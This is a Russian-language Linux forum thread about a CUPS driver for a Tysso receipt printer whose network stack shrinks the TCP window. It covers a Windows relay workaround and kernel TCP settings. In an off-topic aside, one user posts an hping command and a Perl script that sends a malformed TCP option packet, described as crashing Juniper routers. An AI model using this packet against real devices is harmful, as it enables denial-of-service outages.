[~РЕШЕНО]CUPS драйвер для принтера Tysso PRP-085IIIT

Я недавно написал cups-драйвер для принтера Tysso PRP-085IIIT. USB, Serial варианты работают замечательно.
Проблемы с сетевым принтером, он подвисает :( В ходе сравнения ip-пакетов выяснилось, что виновата реализация tcp-стека в принтере, при этом ядро linux генерирует вот такие вот сообщения:

TCP: Treason uncloaked! Peer 172.16.12.99:9100/49720 shrinks window 1286392020:1286392743. Repaired.
TCP: Treason uncloaked! Peer 172.16.12.99:9100/49720 shrinks window 1286392020:1286392743. Repaired.
TCP: Treason uncloaked! Peer 172.16.12.99:9100/50364 shrinks window 3125622750:3125623473. Repaired.
TCP: Treason uncloaked! Peer 172.16.12.99:9100/50364 shrinks window 3125622750:3125623473. Repaired.
TCP: Treason uncloaked! Peer 172.16.12.99:9100/50364 shrinks window 3125622750:3125623473. Repaired.
TCP: Treason uncloaked! Peer 172.16.12.99:9100/50364 shrinks window 3125622750:3125623473. Repaired.
TCP: Treason uncloaked! Peer 172.16.12.99:9100/50364 shrinks window 3125622750:3125623473. Repaired.
TCP: Treason uncloaked! Peer 172.16.12.99:9100/50364 shrinks window 3125622750:3125623473. Repaired.
TCP: Treason uncloaked! Peer 172.16.12.99:9100/50364 shrinks window 3125622750:3125623473. Repaired.
TCP: Treason uncloaked! Peer 172.16.12.99:9100/50364 shrinks window 3125622750:3125623473. Repaired.

В общем одни и теже данные посланные напрямую и через redir на винде показывают такие результаты:

linux(ПК) => windows(ПК) => printer = РАБОТАЕТ!

linux(ПК) => printer = НЕ РАБОТАЕТ!

А теперь вопрос :) Как бы как то обойти эту проблему?

Проблему решил следующим образом:

Цитата:
1. В одной сети с принтером должен быть компьютер с Windows
2. На Windows компьютере надо запустить программу tcppm.exe
3. tcppm.exe -i192.168.0.1 9100 192.168.0.100 9100
4. В настройках Cups указать в качестве адреса 192.168.0.1
*где 192.168.0.1 - адрес Windows компьютера, 192.168.0.100 - адрес принтера

А можно без провокаций ? Где

А можно без провокаций ?
Где __конкретно__ кривизна ?

Compute:
Bosch M2.8.1 -> custom Bosch M2.8.3 clone from Russia.
Speed about 260 km,Ram 2 pers.,HDD - 70 kg,210 FLOPS ;)

Где тут провокации?

Где тут провокации? :)
"виновата реализация tcp-стека в принтере"

Working on Gentoo Linux for Asus P535 and Qtopia :-)

Как заставить linux tcp-стек

Как заставить linux tcp-стек работать так же как и у windows,

как именно ? конкретно проблему __словами__ описать можно ? Логи и настройки винды можно увидеть ? Настройки стека на Линуксе тоже ?

П.С. Если хочешь поменять алгоритм изменения окна - так в ядре все для этого есть.

Compute:
Bosch M2.8.1 -> custom Bosch M2.8.3 clone from Russia.
Speed about 260 km,Ram 2 pers.,HDD - 70 kg,210 FLOPS ;)

Нуу настройка винды и линукса

Нуу настройка винды и линукса по умолчанию.

Хочу сделать так что бы из linux печатало так же быстро как и из windows :)

Working on Gentoo Linux for Asus P535 and Qtopia :-)

это семечки, а вот в 2008-ом...

oleg_kaa написал(а):
Где тут провокации? :)
"виновата реализация tcp-стека в принтере"

Интернеты опасносте!!! Как страшно жить...
Реализация TCP/IP стека в Gnu/Linux "кривая", а драйвер и стек Wnt "прямой", я правильно понимаю?

Ну я не знаю :) Надо бы

Ну я не знаю :) Надо бы проверить из под другой ОС что бы грешить на linux.

А так считаю кривым именно реализацию tcp-стека в принтере.

Working on Gentoo Linux for Asus P535 and Qtopia :-)

А так считаю кривым именно

А так считаю кривым именно реализацию tcp-стека в принтере.

A линукс хде ? :)

Compute:
Bosch M2.8.1 -> custom Bosch M2.8.3 clone from Russia.
Speed about 260 km,Ram 2 pers.,HDD - 70 kg,210 FLOPS ;)

У меня на рабочей тачке :)

У меня на рабочей тачке :)

Working on Gentoo Linux for Asus P535 and Qtopia :-)

freebsd

oleg_kaa написал(а):
Ну я не знаю :) Надо бы проверить из под другой ОС что бы грешить на linux.

Рекомендую начать с FreeBSD, есть старая городская легенда о том, что в Windows сетевой стек от FreeBSD*, и уязвимости типа ping of death в обеих OS как бы на это намекают и ipfw на виндовс хорошо прижился.
Еще можно попробовать "на кривизну" OpenSolaris, восторг и незабываемые ощущения "в гамаке на лыжах" гарантированы =)

* в win3.51, потом написали свой

[оффтоп] уязвимости ping of

[оффтоп]
уязвимости ping of deаth не существует. Курите литературу на эту тему. Хотя бы вот это http://bugtraq.ru/library/books/attack/chapter04/07.html
[/оффтоп]

Понимаете, для того, чтобы создать систему, подобную Linux, недостаточно быть хорошим кодером. Нужно быть еще и коварной сволочью. Линус Торвальдс

еще один "эксперт"?

Magog написал(а):
[оффтоп]
уязвимости ping of deаth не существует. Курите литературу на эту тему. Хотя бы вот это http://bugtraq.ru/library/books/attack/chapter04/07.html
[/оффтоп]

0. пинг не обязательно связан с протоколом ICMP и утилитой ping
1. hping -c 1 -p 23 -L 0 -M 0 172.31.31.1 -S -E ./junos-crash.pl -d 10 -O 7

$ cat junos-crash.pl
#!/usr/bin/perl
my $host = shift; 
my $port = shift;

use Net::Packet qw($Env);

use Net::Packet::IPv4; 
my $ip = Net::Packet::IPv4->new(dst => $host);

use Net::Packet::TCP;

my $tcp = Net::Packet::TCP->new( 
dst => $port, 
options => "\x65\x02\x01\x01", 
);

use Net::Packet::Frame; 
my $frame = Net::Packet::Frame->new(l3 => $ip, l4 => $tcp);

$frame->send; 
exit 0; 

2. таким образом, ping of death - это устоявшийся в определенных кругах жаргонизм, такие дела
P.S. срубало 9-ый Juniper с одного пакета наповал, встроенный МСЭ не спасал от такого "подарка"

Эксперт не эксперт, а понятие

Эксперт не эксперт, а понятие ping of death всегда связывал только с фрагментированным icmp, и не потому что ping, а потому что в литературе упоминается только это. За ликбез благодарю - приму к сведению. И за код тоже благодарю - проверю на днях :-)

Понимаете, для того, чтобы создать систему, подобную Linux, недостаточно быть хорошим кодером. Нужно быть еще и коварной сволочью. Линус Торвальдс

Есть модель попроще TYSSO

Есть модель попроще TYSSO PRP-058II. У Вас случайно нет для него драйвера?

Интересно, то говорят, что

Интересно, то говорят, что это не критично: http://www.opennet.ru/openforum/vsluhforumID1/51150.html

То подозревают хакеров и неверный MTU: http://forum.lissyara.su/viewtopic.php?f=47&t=12105

И что-то говорится здесь про gentoo нехорошее: http://lwn.net/Articles/92727/

возможно стоит на linux

возможно стоит на linux запретить изменение размера окна и установить его фикисрованным равным размеру окна у принтера.

а как это сделать?

а как это сделать?

Working on Gentoo Linux for Asus P535 and Qtopia :-)

net.ipv4.tcp_window_scaling =

net.ipv4.tcp_window_scaling = 1

net.ipv4.tcp_available_congestion_control = reno bic cubic illinois westwood
net.ipv4.tcp_allowed_congestion_control = reno

Compute:
Bosch M2.8.1 -> custom Bosch M2.8.3 clone from Russia.
Speed about 260 km,Ram 2 pers.,HDD - 70 kg,210 FLOPS ;)

Хм странно :) у меня только

Хм странно :) у меня только

net.ipv4.tcp_congestion_control = cubic
net.ipv4.tcp_available_congestion_control = cubic reno
net.ipv4.tcp_allowed_congestion_control = cubic reno

Working on Gentoo Linux for Asus P535 and Qtopia :-)

Binary Increase Congestion

Binary Increase Congestion (BIC) control
CUBIC TCP
H-TCP
High Speed TCP
TCP-Hybla congestion control algorithm
TCP Vegas
Scalable TCP
TCP Low Priority
TCP Veno
YeAH TCP
TCP Illinois

Я так понимаю надо решить квест, что же спер майкрософт из этих алгоритмов? :))

Working on Gentoo Linux for Asus P535 and Qtopia :-)

(:

У Microsoft нет необходимости поддерживать TCP/IP. Б.Гейтс, 1994.

Microsoft изобрела новый протокол. Мы назвали его TCP/IP. Б.Гейтс, 1995.

P.S. Knowledge Base Microsoft, там много чего есть

:(

oleg_kaa написал(а):
а как это сделать?

Вы конечно, быть может, что то и написали для своего принтера, но не знать таких элементарных вещей как изменение размера окна (RFC793 & RFC1323)...
простая ссылка

see also man 7 tcp

tcp_adv_win_scale
Count buffering overhead as
bytes/2^tcp_adv_win_scale (if tcp_adv_win_scale >
0) or bytes-bytes/2^(-tcp_adv_win_scale), if it is
<= 0. The default is 2.

The socket receive buffer space is shared between
the application and kernel. TCP maintains part of
the buffer as the TCP window, this is the size of
the receive window advertised to the other end.
The rest of the space is used as the "application"
buffer, used to isolate the network from scheduling
and application latencies. The tcp_adv_win_scale
default value of 2 implies that the space used for
the application buffer is one fourth that of the
total.

...и далее.

Я написал по сути фильтр для

Я написал по сути фильтр для cups, это такая программа которая получает данные от cups и форматирует их в данные понятные принтеру.

Всю работу с сетью берет на себя cups, повторяю USB, Serial варианты принтера работают на ура :)

На уровне абстракции фильтра управлять размером окна как по мне глупо :) Просто какая то несовместимость linux с принтером %)

Working on Gentoo Linux for Asus P535 and Qtopia :-)

тем не менее rfc793 (:

RFC793:

The mechanisms provided allow a TCP to advertise a large window and to subsequently advertise a much smaller window without having accepted that
much data. This, so called "shrinking the window," is strongly discouraged. The robustness principle dictates that TCPs will not shrink the window themselves, but will be prepared for such behavior on the part of other TCPs.
The sending TCP must be prepared to accept from the user and send at least one octet of new data even if the send window is zero. The sending TCP must regularly retransmit to the receiving TCP even when the window is zero. Two minutes is recommended for the retransmission interval when the window is zero. This retransmission is essential to guarantee that when either TCP has a zero window the re-opening of the window will be reliably reported to the other.
When the receiving TCP has a zero window and a segment arrives it must still send an acknowledgment showing its next expected sequence number and current window (zero).

Ну и смысл мне цитировать

Ну и смысл цитировать RFC?

Мне бы разобраться почему через Windows печать идет на ура, а через Linux не хочет :)

Working on Gentoo Linux for Asus P535 and Qtopia :-)

Результат :)

(:

We are the champions - my friends! And we'll keep on fighting - till the end!

Но настройки апстолов/ядра в

Но настройки апстолов/ядра в REDMI были бы совсем не лишними.

Compute:
Bosch M2.8.1 -> custom Bosch M2.8.3 clone from Russia.
Speed about 260 km,Ram 2 pers.,HDD - 70 kg,210 FLOPS ;)

Настройки просмотра комментариев

Выберите нужный метод показа комментариев и нажмите "Сохранить установки".